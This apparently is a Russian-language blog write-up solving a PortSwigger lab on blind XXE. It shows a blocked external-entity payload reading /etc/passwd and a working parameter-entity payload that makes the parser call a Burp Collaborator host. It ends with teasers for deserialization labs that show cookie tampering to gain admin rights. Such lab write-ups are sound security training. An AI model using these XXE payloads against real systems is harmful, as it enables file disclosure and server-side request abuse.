На странице
apsyleg1 мин
#portswigger #xxe #web-security
Blind XXE через OOB и XML parameter entities
Лаборатория
Blind XXE with out-of-band interaction via XML parameter entities · Practitioner
Решение
Дано
This lab has a "Check stock" feature that parses XML input, but does not display any unexpected values, and blocks requests containing regular external entities.
To solve the lab, use a parameter entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.
Анализ задания
Нужно использовать parameter entity, чтобы заставить XML-парсер отправить запрос на наш сервер Burp Collaborator.
Разведка
Находим роут. В теле:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>5</productId><storeId>1</storeId></stockCheck>
Ради интереса попробуем вставить сперва general external entity:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<stockCheck><productId>5&test;</productId><storeId>1</storeId></stockCheck>
"Entities are not allowed for security reasons"
Эксплуатация
Не пропускает — тогда делаем через parameter entity:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "https://ne5p4zgdtmsrz8u7ig29c80bq2w0ku8j.oastify.com"> %xxe; ]>
<stockCheck><productId>5</productId><storeId>1</storeId></stockCheck>
Лаба решена!
Ещё в этой категории
Эксплуатация небезопасной десериализации через функции приложения (PortSwigger Lab)
Подмена поля `avatar_link` в объекте сессии для удаления произвольного файла через функцию удаления аккаунта.
Изменение типов сериализованных данных (PortSwigger Lab)
Эксплуатируем нестрогое сравнение PHP, меняя тип `access_token` на целое `0` и обходя аутентификацию.
Изменение сериализованных объектов (PortSwigger Lab)
Меняем булево поле `admin` в PHP-сериализованной куке сессии и получаем права администратора.